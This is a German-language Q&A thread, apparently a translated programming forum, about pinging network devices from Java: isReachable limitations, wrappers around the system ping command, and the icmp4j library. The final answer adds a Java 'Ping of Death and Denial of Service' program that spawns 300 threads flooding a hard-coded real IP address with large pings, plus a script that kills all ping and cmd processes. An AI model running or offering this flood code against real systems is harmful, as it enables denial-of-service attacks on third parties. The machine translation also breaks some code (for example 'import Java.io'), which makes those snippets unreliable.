Ich habe ein Gerät in einem Netzwerk, das ich durch mein Java-Programm pingen möchte. Über meinen Windows-Befehl Prompt kann ich die Geräteadresse gut pingen und die Adresse gut tracert.
Online habe ich gesehen, dass Sie, um einen Ping durch Java durchzuführen, Folgendes tun müssen:
InetAddress.getByName(address).isReachable(timeout);
Wenn ich diesen Code für meine Geräteadresse verwende, wird in meinem Programm immer false zurückgegeben. Ich verwende die richtige IPv4-Adresse mit einem guten Timeout-Wert. Wenn ich eine localhost-Adresse verwende, funktioniert es auch einwandfrei.
Warum kann ich das Gerät über cmd pingen, aber nicht durch mein Programm? Ich habe an verschiedenen Stellen gehört, dass dies kein true ping ist.
Gibt es eine bessere Möglichkeit, einen Ping in Java zu emulieren?
Vielen Dank
isReachable()
verwendet ICMP ECHO REQUEST
s , wenn das Privileg erhalten werden kann. Andernfalls wird versucht, eine TCP - Verbindung an Port 7 (Echo) des Zielhosts herzustellen.
Ihr Problem ist daher wahrscheinlich ein Konfigurationsproblem, bei dem nicht genügend Berechtigungen vorhanden sind, um dies auf dem Clientcomputer auszuführen, oder ein Problem mit Port 7 auf dem Server, wenn Ihr Client nicht über die Berechtigung zum Ausführen des ICMP ECHO REQUEST
verfügt. In beiden Fällen müssen Sie wahrscheinlich die eine oder andere Seite auflösen, damit dies funktioniert.
Ich habe das Folgende auf OSX- und Linux-Clients getestet, und es funktioniert beim Testen der Verfügbarkeit anderer OSX-, Linux- und Windows Server-Maschinen. Ich habe keine Windows-Maschine, um dies als Client auszuführen.
import Java.io.IOException;
import Java.net.InetAddress;
public class IsReachable
{
public static void main(final String[] args) throws IOException
{
final InetAddress Host = InetAddress.getByName(args[0]);
System.out.println("Host.isReachable(1000) = " + Host.isReachable(1000));
}
}
von dem, was ich gelesen habe hier . Es handelt sich offenbar um eine Windows-Einschränkung, und ICMP PING
wird unter Windows nicht als Systemaufruf vor Windows 2000 unterstützt. Daher wird standardmäßig versucht, eine Verbindung zu Port 7 herzustellen, und diese Verbindung ist auf dem Computer blockiert, den Sie erreichen möchten. Java unterstützt den neuen systemeigenen Aufruf noch nicht. Die Berechtigung betrifft ein Unix-basiertes System, da root zum Senden von ICMP
-Paketen erforderlich ist.
Wenn Sie Ihr eigenes Windows-eigenes JNIICMP PING
für Windows 2000 und neuer rollen möchten, gibt es die IcmpSendEcho-Funktion .
Ich verwende diese Funktion (aus diesem Artikel ), wenn ich einen echten ICMP-Ping unter Windows, Linux und OSX benötige (andere Systeme wurden nicht getestet).
public static boolean isReachableByPing(String Host) {
try{
String cmd = "";
if(System.getProperty("os.name").startsWith("Windows")) {
// For Windows
cmd = "ping -n 1 " + Host;
} else {
// For Linux and OSX
cmd = "ping -c 1 " + Host;
}
Process myProcess = Runtime.getRuntime().exec(cmd);
myProcess.waitFor();
if(myProcess.exitValue() == 0) {
return true;
} else {
return false;
}
} catch( Exception e ) {
e.printStackTrace();
return false;
}
}
Ein bisschen spät, aber ich stolperte darüber, als ich versuchte, dasselbe zu tun.
Eine Problemumgehung, die für mich funktionierte und die ich verwendete, war die direkte Verwendung des Befehlszeilen-Pings.
public static boolean ping(String Host)
{
boolean isReachable = false;
try {
Process proc = new ProcessBuilder("ping", Host).start();
int exitValue = proc.waitFor();
System.out.println("Exit Value:" + exitValue);
if(exitValue == 0)
isReachable = true;
} catch (IOException e1) {
System.out.println(e1.getMessage());
e1.printStackTrace();
} catch (InterruptedException e) {
e.printStackTrace();
}
return isReachable;
}
Ich habe viel schlechten Code zu diesem Thema gesehen. Der Code, der für mich funktioniert hat, ist (Website weiß nicht, um meine Codedatei korrekt zu analysieren):
public class Test {
public static boolean isReachablebyPing(String ip) {
try {
String command;
if(System.getProperty("os.name").toLowerCase().startsWith("windows")) {
// For Windows
command = "ping -n 2 " + ip;
} else {
// For Linux and OSX
command = "ping -c 2 " + ip;
}
Process proc = Runtime.getRuntime().exec(command);
StreamGobbler outputGobbler = new StreamGobbler(proc.getInputStream(), "OUTPUT");
outputGobbler.start();
proc.waitFor();
return checkAvailability(outputGobbler.getOutputLines());
} catch(IOException | InterruptedException ex) {
Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE, null, ex);
}
return false;
}
public static void main(String... args) {
String ip = "10.20.20.17"; // false in my case
String ip1 = "10.20.20.100"; // true in my case
System.out.println(ip + " is avalaible " + isReachablebyPing(ip));
System.out.println(ip1 + " is avalaible " + isReachablebyPing(ip1));
}
private static boolean checkAvailability(List<String> outputLines) {
for(String line : outputLines) {
if(line.contains("unreachable")) {
return false;
}
if(line.contains("TTL=")) {
return true;
}
}
return false;
}
}
class StreamGobbler extends Thread {
protected InputStream is;
protected String type;
protected List<String> outputLines;
StreamGobbler(InputStream is, String type) {
this.is = is;
this.type = type;
outputLines = new ArrayList<>();
}
public List<String> getOutputLines() {
return outputLines;
}
@Override
public void run() {
try {
InputStreamReader isr = new InputStreamReader(is);
BufferedReader br = new BufferedReader(isr);
String line;
while((line = br.readLine()) != null) {
outputLines.add(line);
}
} catch(IOException ex) {
Logger.getLogger(StreamGobbler.class.getName()).log(Level.SEVERE, null, ex);
}
}
}
Für einen einfachen Ping von Java ohne Berechtigungen verwende ich http://www.icmp4j.org
Es ist sehr einfach zu bedienen:
final IcmpPingRequest request = IcmpPingUtil.createIcmpPingRequest ();
request.setHost ("www.google.org");
// repeat a few times
for (int count = 1; count <= 4; count ++) {
// delegate
final IcmpPingResponse response = IcmpPingUtil.executePingRequest (request);
// log
final String formattedResponse = IcmpPingUtil.formatResponse (response);
System.out.println (formattedResponse);
// rest
Thread.sleep (1000);
}
Einer der Gründe ist, dass das von Ihnen angegebene Timeout zu niedrig ist. Ich hatte ein ähnliches Problem, aber als ich das Timeout auf einen geeigneten Wert erhöhte, gab der Aufruf von isReachable einen korrekten Wert zurück.
Die Verwendung dieser Option hilft nicht, wenn Sie eine öffentliche IP-Adresse mit einem Windows-Computer anpingen []:
String ipAddress = "192.168.1.10";
InetAddress inet = InetAddress.getByName(ipAddress);
boolean reachable = inet.isReachable(5000);
Hinweis: In der Dokumentation heißt es:
Bei einer typischen Implementierung werden ICMP-ECHO-ANFORDERUNGEN verwendet, wenn das Privileg erhalten werden, andernfalls wird versucht, eine TCP - Verbindung herzustellen an Port 7 (Echo) des Zielhosts.
Ich habe es versucht, aber die Ergebnisse waren nicht genau.
Was für mich wirklich herausgekommen ist, ist die Klasse, die von unseren Mitbenutzern geschrieben wurde, die wahres ICMP-Ping sendet und je nach IP-Status wahr oder falsch zurückgibt.
Der folgende Java-Code ist ein Beispiel für Ping of Death und Denial of Service unter Microsoft Windows. Dies wird zu Testzwecken verwendet, um einen Anti-Hack-Beweis zu erstellen und/oder die Leistung der Website bei ähnlichen Cyber-Angriffen zu testen.
// BEGIN Ping of Death and Denial of Service
import Java.awt.AWTException;
import Java.io.BufferedReader;
import Java.io.IOException;
import Java.io.InputStreamReader;
import Java.net.URISyntaxException;
import jxl.read.biff.BiffException;
import jxl.write.WriteException;
public class PoDandDoS {
protected static final long serialVersionUID = 300200;
public static void main(String[] args)
throws IOException, URISyntaxException, InterruptedException, AWTException, BiffException, WriteException {
Thread[] threads = new Thread[300];
for (int i = 0; i < 300; i++) {
threads[i] = new Thread(new Runnable() {
public void run() {
try {
thread();
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
});
threads[i].start();
}
for (int i = 0; i < 300; i++) {
threads[i].join();
}
}
private static void thread() throws IOException, InterruptedException {
// Ping of Death
String[] StringMove1 = { "cmd.exe", "/c", "ping 108.167.182.244 -l 65500 -n 10000000 -w 1" };
Process ProcessMove1 = Runtime.getRuntime().exec(StringMove1);
BufferedReader VarMove1 = new BufferedReader(new InputStreamReader(ProcessMove1.getInputStream()));
String temp1 = "";
@SuppressWarnings("unused")
String Hostname1 = "";
while ((temp1 = VarMove1.readLine()) != null) {
Thread.sleep(2);
Hostname1 = temp1;
}
VarMove1.close();
}
}
Wenn die Tests abgeschlossen sind. Möglicherweise möchten Sie den folgenden Code verwenden, um die Prozesse im Task-Manager zu bereinigen.
import Java.io.IOException;
//BEGIN Clean Process
public class CleanProcess {
protected static final long serialVersionUID = 300200;
public static void main(String[] args) throws IOException {
// Close every process of PING and CMD running from your PC
Runtime.getRuntime().exec("taskkill /F /IM PING.EXE");
Runtime.getRuntime().exec("taskkill /F /IM cmd.EXE");
}
}